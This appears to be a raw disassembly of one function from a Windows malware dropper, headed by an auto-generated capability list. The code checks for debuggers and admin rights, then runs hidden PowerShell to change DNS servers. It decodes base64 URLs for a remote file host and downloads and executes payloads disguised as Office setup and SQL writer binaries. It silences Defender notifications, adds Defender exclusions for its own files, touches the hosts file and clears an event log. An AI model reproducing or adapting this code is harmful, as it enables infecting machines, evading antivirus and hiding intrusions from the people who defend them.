Function at 0x140002ff0
Capabilities:
Check for debugger via api
Check for peb beingdebugged flag
Create thread
Disable windows defender features via registry on windows
Get token membership
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x5a0]
sub rsp, 0x6a0
mov rax, qword [0x14000c040]
xor rax, rsp
mov qword [rbp + 0x590], rax
xor edi, edi
call qword [sym.imp.KERNEL32.dll_FreeConsole]
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_AttachConsole]
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x140003f3b
mov dword [rbp - 0x68], edi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
test eax, eax
je 0x14000306d
cmp dword [rbp - 0x68], edi
jne 0x140003f3b
mov rax, qword gs:[0x60]
cmp byte [rax + 2], dil
jne 0x140003f3b
mov dword [rbp + 0xf0], 0x100010
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
lea rdx, [rbp + 0xc0]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x140003f3b
cmp qword [rbp + 0x108], rdi
jne 0x140003f3b
cmp qword [rbp + 0x110], rdi
jne 0x140003f3b
cmp qword [rbp + 0x118], rdi
jne 0x140003f3b
cmp qword [rbp + 0x120], rdi
jne 0x140003f3b
cmp qword [rbp + 0x130], rdi
jne 0x140003f3b
call fcn.140002020
test al, al
jne 0x140003f3b
mov dword [rbp - 0x68], edi
mov qword [rsp + 0x60], rdi
mov dword [rbp - 0x70], edi
mov word [rbp - 0x6c], 0x500
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], edi
mov dword [rsp + 0x40], edi
mov dword [rsp + 0x38], edi
mov dword [rsp + 0x30], edi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
mov r9d, 0x220
mov r8d, 0x20
mov dl, 2
lea rcx, [rbp - 0x70]
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x140003f3b
lea r8, [rbp - 0x68]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov rcx, qword [rsp + 0x60]
test eax, eax
je 0x140003f35
call qword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [rbp - 0x68], edi
setne al
test al, al
je 0x140003f3b
lea rdx, str._n________Get_NetAdapter__Where_Object____.Status__eq_Up___ForEach_Object__n____________Set_DnsClientServerAddress__InterfaceAlias___.Name__ServerAddresses__1.1.1.1__1.0.0.1__n_________n
lea rcx, [rbp + 0x98]
call fcn.1400040d0
nop
lea r8, [rbp + 0x98]
lea rdx, str.powershell__WindowStyle_Hidden__Command__
lea rcx, [rbp + 0x18]
call fcn.1400043a0
mov rcx, rax
mov r8, qword [rax + 0x10]
mov r10, qword [rax + 0x18]
mov rax, r10
sub rax, r8
cmp rax, 1
jb 0x1400031e3
lea r9, [r8 + 1]
mov qword [rcx + 0x10], r9
mov rdx, rcx
cmp r10, 7
jbe 0x1400031d1
mov rdx, qword [rcx]
mov eax, dword [0x140007e70]
mov word [rdx + r8*2], ax
mov word [rdx + r9*2], di
jmp 0x140003200
mov qword [rsp + 0x20], 1
lea r9, [0x140007e70]
mov edx, 1
call fcn.140004880
mov rcx, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], rdi
mov qword [rbp - 0x78], rdi
movups xmm0, xmmword [rcx]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rbp - 0x80], xmm1
mov qword [rcx + 0x10], rdi
mov qword [rcx + 0x18], 7
mov word [rcx], di
lea rcx, [rsp + 0x70]
call fcn.140001450
mov rdx, qword [rbp - 0x78]
cmp rdx, 7
jbe 0x14000327d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003278
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003278
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005434
mov qword [rbp - 0x80], rdi
mov qword [rbp - 0x78], 7
mov word [rsp + 0x70], di
mov rdx, qword [rbp + 0x30]
cmp rdx, 7
jbe 0x1400032d1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400032cc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400032cc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005434
mov ecx, 8
call fcn.1400050e0
mov rsi, rax
lea rax, vtable.InternetChecker.0
mov qword [rsi], rax
mov qword [rbp + 0x58], rsi
mov rcx, rsi
mov rdx, qword [vtable.InternetChecker.0]
call rdx
test al, al
jne 0x140003306
mov edi, 1
jmp 0x140003eca
lea rdx, str.C:WindowsTemp_file1.exe
lea rcx, [rbp + 0x38]
call fcn.1400040d0
nop
lea rcx, [rbp + 0x38]
call fcn.140001ec0
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
mov ecx, 0x80
call fcn.1400050e0
mov rcx, rax
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x18], 0x7c
mov qword [rbp - 0x10], 0x7f
movaps xmm0, xmmword [str.aHR0cHM6Ly9naXRmbGljLnJ1L3Byb2plY3QvZGhnYmh2YmtzZDM0L2ZlcXdmd2MzNGhoNzU2NTc0L2Jsb2IvcmF3P2ZpbGU9T2ZmaWNlU2V0dXBfeDY0LmV4ZQ]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x140007f20]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x140007f30]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x140007f40]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x140007f50]
movups xmmword [rax + 0x40], xmm0
movaps xmm1, xmmword [0x140007f60]
movups xmmword [rax + 0x50], xmm1
movaps xmm0, xmmword [0x140007f70]
movups xmmword [rax + 0x60], xmm0
movsd xmm0, qword [0x140007f80]
movsd qword [rax + 0x70], xmm0
mov eax, dword [0x140007f88]
mov dword [rcx + 0x78], eax
mov byte [rcx + 0x7c], 0
mov ecx, 8
call fcn.1400050e0
mov r14, rax
lea rax, vtable.Base64Decoder.0
mov qword [r14], rax
mov qword [rbp + 0x60], r14
mov ecx, 8
call fcn.1400050e0
mov r15, rax
lea rax, vtable.FileDownloader.0
mov qword [r15], rax
mov qword [rbp + 0x68], r15
mov ecx, 8
call fcn.1400050e0
mov r12, rax
lea rax, vtable.FileExecutor.0
mov qword [r12], rax
mov qword [rbp + 0x70], r12
mov qword [rbp - 0x50], rdi
mov qword [rsp + 0x60], r12
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x68], r14
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov ecx, 0x20
call fcn.1400050e0
mov dword [rax], 1
mov dword [rax + 4], 2
xor ecx, ecx
mov qword [rax + 8], rcx
mov qword [rax + 0x10], rdi
mov dword [rax + 0x18], edi
mov qword [rbp - 0x50], rax
mov ecx, 0x60
call fcn.1400050e0
mov rbx, rax
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], rax
lea rax, [rbp - 0x70]
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x68]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x38]
lea r8, [rbp - 0x28]
mov rcx, rbx
call fcn.140004e40
lea rax, [fcn.1400024b0]
mov qword [rbx + 0x58], rax
mov qword [rsp + 0x70], rbx
lea rax, [rbp - 0x58]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], edi
mov r9, rbx
lea r8, [0x140004c60]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp - 0x60], rax
test rax, rax
je 0x140003f26
call fcn.1400027a0
mov qword [rsp + 0x60], rdi
mov dword [rbp - 0x68], 1
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindows_Defender_Security_CenterNotifications
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x14000352f
mov dword [rsp + 0x28], 4
lea rax, [rbp - 0x68]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.DisableNotifications
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionNotificationsSettingsWindows.SystemToast.SecurityAndMaintenance
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140003594
mov dword [rbp - 0x70], edi
mov dword [rsp + 0x28], 4
lea rax, [rbp - 0x70]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Enabled
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov r9d, 6
xor r8d, r8d
lea rdx, str.SOFTWAREPoliciesMicrosoftWindows_Defender_Security_CenterNotifications
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1400035f6
mov dword [rsp + 0x28], 4
lea rax, [rbp - 0x68]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.DisableNotifications
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rdx, str.powershell.exe__Command__Restart_Service__Name_WinDefend_
lea rcx, [rsp + 0x70]
call fcn.1400040d0
lea rcx, [rsp + 0x70]
call fcn.140001450
mov rdx, qword [rbp - 0x78]
cmp rdx, 7
jbe 0x140003655
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003650
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003650
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005434
call fcn.140002970
call fcn.140002b50
lea rdx, str.C:ProgramDataMicrosoft_FQL_Server_b3Shared_fqlwriter.exe
lea rcx, [rbp + 0x18]
call fcn.1400040d0
nop
lea rdx, str.C:WindowsSystem32driversetchosts
lea rcx, [rbp + 0x78]
call fcn.1400040d0
nop
lea rcx, [rbp + 0x18]
call fcn.140001ec0
lea rcx, [rbp + 0x78]
call fcn.140001ec0
mov ecx, 0xfa0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.powershell.exe__Command__Add_MpPreference__ExclusionPath_C:ProgramDataMicrosoft_FQL_Server_b3Shared_fqlwriter.exe_
lea rcx, [rsp + 0x70]
call fcn.1400040d0
lea rcx, [rsp + 0x70]
call fcn.140001450
mov rdx, qword [rbp - 0x78]
cmp rdx, 7
jbe 0x1400036fd
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400036f8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400036f8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005434
lea rdx, str.powershell.exe__Command__Add_MpPreference__ExclusionPath_C:WindowsTemp_file1.exe_
lea rcx, [rsp + 0x70]
call fcn.1400040d0
lea rcx, [rsp + 0x70]
call fcn.140001450
mov rdx, qword [rbp - 0x78]
cmp rdx, 7
jbe 0x14000375c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003757
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003757
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005434
lea rdx, str.powershell.exe__Command__Add_MpPreference__ExclusionPath_C:WindowsTemp_file2.exe_
lea rcx, [rsp + 0x70]
call fcn.1400040d0
lea rcx, [rsp + 0x70]
call fcn.140001450
mov rdx, qword [rbp - 0x78]
cmp rdx, 7
jbe 0x1400037bb
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400037b6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400037b6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005434
lea rdx, str.powershell.exe__Command__Add_MpPreference__ExclusionProcess_C:ProgramDataMicrosoft_FQL_Server_b3Shared_fqlwriter.exe_
lea rcx, [rsp + 0x70]
call fcn.1400040d0
lea rcx, [rsp + 0x70]
call fcn.140001450
mov rdx, qword [rbp - 0x78]
cmp rdx, 7
jbe 0x14000381a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003815
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003815
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005434
lea rdx, str.powershell.exe__Command__Add_MpPreference__ExclusionProcess_C:WindowsTemp_file1.exe_
lea rcx, [rsp + 0x70]
call fcn.1400040d0
lea rcx, [rsp + 0x70]
call fcn.140001450
mov rdx, qword [rbp - 0x78]
cmp rdx, 7
jbe 0x140003879
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003874
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003874
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005434
lea rdx, str.powershell.exe__Command__Add_MpPreference__ExclusionProcess_C:WindowsTemp_file2.exe_
lea rcx, [rsp + 0x70]
call fcn.1400040d0
lea rcx, [rsp + 0x70]
call fcn.140001450
mov rdx, qword [rbp - 0x78]
cmp rdx, 7
jbe 0x1400038d8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400038d3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400038d3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005434
lea rdx, str.powershell.exe__Command__New_Item__Path_HKLM:SOFTWAREPoliciesMicrosoftWindows_DefenderExclusionsPaths__Force_
lea rcx, [rsp + 0x70]
call fcn.1400040d0
lea rcx, [rsp + 0x70]
call fcn.140001450
mov rdx, qword [rbp - 0x78]
cmp rdx, 7
jbe 0x140003937
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003932
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003932
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005434
lea rdx, str.powershell.exe__Command__New_ItemProperty__Path_HKLM:SOFTWAREPoliciesMicrosoftWindows_DefenderExclusionsPaths__Name_C:ProgramDataMicrosoft_FQL_Server_b3Shared_fqlwriter.exe__Value_0__PropertyType_DWORD__Force_
lea rcx, [rsp + 0x70]
call fcn.1400040d0
lea rcx, [rsp + 0x70]
call fcn.140001450
mov rdx, qword [rbp - 0x78]
cmp rdx, 7
jbe 0x140003996
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003991
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003991
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005434
lea rdx, str.powershell.exe__Command__New_ItemProperty__Path_HKLM:SOFTWAREPoliciesMicrosoftWindows_DefenderExclusionsPaths__Name_C:WindowsTemp_file1.exe__Value_0__PropertyType_DWORD__Force_
lea rcx, [rsp + 0x70]
call fcn.1400040d0
lea rcx, [rsp + 0x70]
call fcn.140001450
mov rdx, qword [rbp - 0x78]
cmp rdx, 7
jbe 0x1400039f5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400039f0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400039f0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005434
lea rdx, str.powershell.exe__Command__New_ItemProperty__Path_HKLM:SOFTWAREPoliciesMicrosoftWindows_DefenderExclusionsPaths__Name_C:WindowsTemp_file2.exe__Value_0__PropertyType_DWORD__Force_
lea rcx, [rsp + 0x70]
call fcn.1400040d0
lea rcx, [rsp + 0x70]
call fcn.140001450
mov rdx, qword [rbp - 0x78]
cmp rdx, 7
jbe 0x140003a54
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003a4f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003a4f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005434
lea rdx, str.powershell.exe__Command__Restart_Service__Name_WinDefend_
lea rcx, [rsp + 0x70]
call fcn.1400040d0
lea rcx, [rsp + 0x70]
call fcn.140001450
mov rdx, qword [rbp - 0x78]
cmp rdx, 7
jbe 0x140003ab3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003aae
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003aae
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005434
lea rdx, str.powershell.exe__Command__Update_MpSignature_
lea rcx, [rsp + 0x70]
call fcn.1400040d0
lea rcx, [rsp + 0x70]
call fcn.140001450
mov rdx, qword [rbp - 0x78]
cmp rdx, 7
jbe 0x140003b12
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003b0d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003b0d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005434
lea rdx, str.powershell.exe__Command__Clear_EventLog__LogName_Microsoft_Windows_Diagnostics_Performance_Operational_
lea rcx, [rsp + 0x70]
call fcn.1400040d0
lea rcx, [rsp + 0x70]
call fcn.140001450
mov rdx, qword [rbp - 0x78]
cmp rdx, 7
jbe 0x140003b71
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003b6c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003b6c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005434
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
mov qword [rbp - 0x38], rdi
mov qword [rbp - 0x30], rdi
mov ecx, 0x80
call fcn.1400050e0
mov rcx, rax
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x38], 0x74
mov qword [rbp - 0x30], 0x7f
movaps xmm0, xmmword [str.aHR0cHM6Ly9naXRmbGljLnJ1L3Byb2plY3QvZGhnYmh2YmtzZDM0L2ZlcXdmd2MzNGhoNzU2NTc0L2Jsb2IvcmF3P2ZpbGU9ZnFsd3JpdGVyLmV4ZQ]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x140008c30]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x140008c40]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x140008c50]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x140008c60]
movups xmmword [rax + 0x40], xmm0
movaps xmm1, xmmword [0x140008c70]
movups xmmword [rax + 0x50], xmm1
movaps xmm0, xmmword [0x140008c80]
movups xmmword [rax + 0x60], xmm0
mov eax, dword [0x140008c90]
mov dword [rcx + 0x70], eax
mov byte [rcx + 0x74], 0
lea rdx, str.C:WindowsTemp_file2.exe
lea rcx, [rbp - 8]
call fcn.1400040d0
nop
lea rcx, [rbp - 8]
call fcn.140001ec0
call fcn.140001df0
mov qword [rsp + 0x20], r12
mov r9, r15
mov r8, r14
lea rdx, [rbp - 8]
lea rcx, [rbp - 0x48]
call fcn.1400024b0
call fcn.140001df0
nop
mov rdx, qword [rbp + 0x10]
cmp rdx, 7
jbe 0x140003c7a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003c75
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003c75
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005434
mov qword [rbp + 8], rdi
mov qword [rbp + 0x10], 7
mov word [rbp - 8], di
mov rdx, qword [rbp - 0x30]
cmp rdx, 0xf
jbe 0x140003cc8
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003cc3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003cc3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005434
mov qword [rbp - 0x38], rdi
mov qword [rbp - 0x30], 0xf
mov byte [rbp - 0x48], 0
mov rdx, qword [rbp + 0x90]
cmp rdx, 7
jbe 0x140003d1f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003d19
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003d19
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005434
nop
mov rdx, qword [rbp + 0x30]
cmp rdx, 7
jbe 0x140003d63
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003d5d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003d5d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005434
nop
mov eax, dword [rbp - 0x58]
test eax, eax
je 0x140003dd8
mov rcx, qword [rbp - 0x50]
test rcx, rcx
je 0x140003d7b
call fcn.1400011c0
mov eax, dword [rbp - 0x58]
test eax, eax
jne 0x140003d8b
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
call qword [sym.imp.MSVCP140.dll__Thrd_id]
cmp dword [rbp - 0x58], eax
jne 0x140003da2
mov ecx, 5
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
movups xmm0, xmmword [rbp - 0x60]
movaps xmmword [rsp + 0x70], xmm0
xor edx, edx
lea rcx, [rsp + 0x70]
call qword [sym.imp.MSVCP140.dll__Thrd_join]
test eax, eax
je 0x140003dc8
mov ecx, 2
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
psrldq xmm0, 8
movd eax, xmm0
mov rcx, qword [rbp - 0x50]
test rcx, rcx
je 0x140003e0e
mov eax, 0xfffffffe
lock xadd dword [rcx + 4], eax
and eax, 0xfffffffe
cmp eax, 2
jne 0x140003e0b
mov eax, 0xffffffff
lock xadd dword [rcx], eax
cmp eax, 1
jne 0x140003e0b
mov edx, 0x20
call fcn.140005434
mov eax, dword [rbp - 0x58]
test eax, eax
je 0x140003e19
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
mov rax, qword [r12]
mov edx, 1
mov rcx, r12
call qword [rax + 8]
nop
mov rax, qword [r15]
mov edx, 1
mov rcx, r15
call qword [rax + 8]
nop
mov rax, qword [r14]
mov edx, 1
mov rcx, r14
call qword [rax + 8]
nop
mov rdx, qword [rbp - 0x10]
cmp rdx, 0xf
jbe 0x140003e86
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003e80
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003e80
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005434
nop
mov rdx, qword [rbp + 0x50]
cmp rdx, 7
jbe 0x140003eca
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003ec4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003ec4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005434
nop
mov rax, qword [rsi]
mov edx, 1
mov rcx, rsi
call qword [rax + 8]
nop
mov rdx, qword [rbp + 0xb0]
cmp rdx, 7
jbe 0x140003f22
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003f1d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003f1d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005434
mov eax, edi
jmp 0x140003f3d
mov dword [rbp - 0x58], edi
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
call qword [sym.imp.ADVAPI32.dll_FreeSid]
xor eax, eax
mov rcx, qword [rbp + 0x590]
xor rcx, rsp
call fcn.140004fa0
lea r11, [rsp + 0x6a0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret